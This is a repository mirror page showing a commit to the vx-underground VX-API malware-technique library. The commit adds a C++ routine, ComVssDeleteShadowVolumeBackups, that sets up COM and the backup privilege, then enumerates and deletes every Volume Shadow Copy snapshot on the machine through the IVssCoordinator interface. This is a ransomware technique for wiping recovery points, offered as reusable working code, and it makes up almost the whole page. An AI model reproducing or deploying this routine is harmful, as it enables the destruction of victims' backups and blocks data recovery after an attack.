Mirrors/vxug-VXAPI
6
0
Fork 0
mirror of https://github.com/vxunderground/VX-API synced 2024-06-28 17:51:16 +00:00
Code Issues Projects Releases Wiki Activity

Create ComVssDeleteShadowVolumeBackups.cpp

Browse Source
This commit is contained in:
vxunderground 2022-07-14 23:17:41 -05:00 committed by GitHub
parent 42e2d8a439
commit fa59e3104a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 125 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

125
Windows API/ComVssDeleteShadowVolumeBackups.cpp Normal file
View File

@ -0,0 +1,125 @@
HRESULT ComDisableGlobalSeh(VOID)
{
HRESULT Result = S_OK;
IGlobalOptions* GlobalOptions;
#pragma warning( push )
#pragma warning( disable : 6387)
Result = CoCreateInstance(CLSID_GlobalOptions, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&GlobalOptions));
#pragma warning( pop )
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = GlobalOptions->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);
GlobalOptions->Release();
EXIT_ROUTINE:
return Result;
}
DWORD InitializeComWithSecurityContextDefault(BOOL DisableSeh)
{
HRESULT Result = S_OK;
Result = CoInitializeEx(NULL, 0);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IDENTIFY, NULL, EOAC_NONE, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (DisableSeh)
Result = ComDisableGlobalSeh();
EXIT_ROUTINE:
return EhWin32FromHResult(Result);
}
DWORD ComVssDeleteShadowVolumeBackups(BOOL CoUninitializeAfterCompletion)
{
HRESULT Result = S_OK;
IVssCoordinator* VssCoordinator = NULL;
VSS_OBJECT_PROP* Snapshots = NULL;
IVssEnumObject* EnumObject = NULL;
LONG NumberOfSnapshots = 0;
ULONG Objects = 16, Retrieved = 0;
PWCHAR ShadowCopySetId = NULL, ShadowCopyId = NULL;
if (InitializeComWithSecurityContextDefault(TRUE) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (!SetProcessPrivilegeToken(MW_SEBACKUP_PRIVILEGE))
return FALSE;
#pragma warning( push )
#pragma warning( disable : 6387)
if (!SUCCEEDED(Result = CoCreateInstance(CLSID_CVssCoordinator, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&VssCoordinator))))
goto EXIT_ROUTINE;
#pragma warning( pop )
if (!SUCCEEDED(Result = VssCoordinator->SetContext(-1)))
goto EXIT_ROUTINE;
if (!SUCCEEDED(Result = VssCoordinator->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &EnumObject)))
goto EXIT_ROUTINE;
Snapshots = (VSS_OBJECT_PROP*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(VSS_OBJECT_PROP) * Objects));
if (Snapshots == NULL)
goto EXIT_ROUTINE;
if (!SUCCEEDED(Result = EnumObject->Next(Objects, Snapshots, (PULONG)&NumberOfSnapshots)))
goto EXIT_ROUTINE;
ShadowCopySetId = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (32 * sizeof(WCHAR)));
if (ShadowCopySetId == NULL)
goto EXIT_ROUTINE;
ShadowCopyId = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (32 * sizeof(WCHAR)));
if (ShadowCopyId == NULL)
goto EXIT_ROUTINE;
while (NumberOfSnapshots--)
{
VSS_OBJECT_PROP Element = Snapshots[NumberOfSnapshots];
LONG Dispose = 0;
GUID SnapshotDipose = { 0 };
if (Element.Type != VSS_OBJECT_SNAPSHOT)
continue;
RtlZeroMemory(ShadowCopyId, (32 * sizeof(WCHAR)));
RtlZeroMemory(ShadowCopySetId, (32 * sizeof(WCHAR)));
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotId, ShadowCopyId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
continue;
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotSetId, ShadowCopySetId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
continue;
VssCoordinator->DeleteSnapshots(Element.Obj.Snap.m_SnapshotId, VSS_OBJECT_SNAPSHOT, 1, &Dispose, &SnapshotDipose);
}
EXIT_ROUTINE:
if (ShadowCopyId)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, ShadowCopyId);
if (ShadowCopySetId)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, ShadowCopySetId);
if (EnumObject)
EnumObject->Release();
if (VssCoordinator)
VssCoordinator->Release();
if (CoUninitializeAfterCompletion)
CoUninitialize();
return EhWin32FromHResult(Result);
}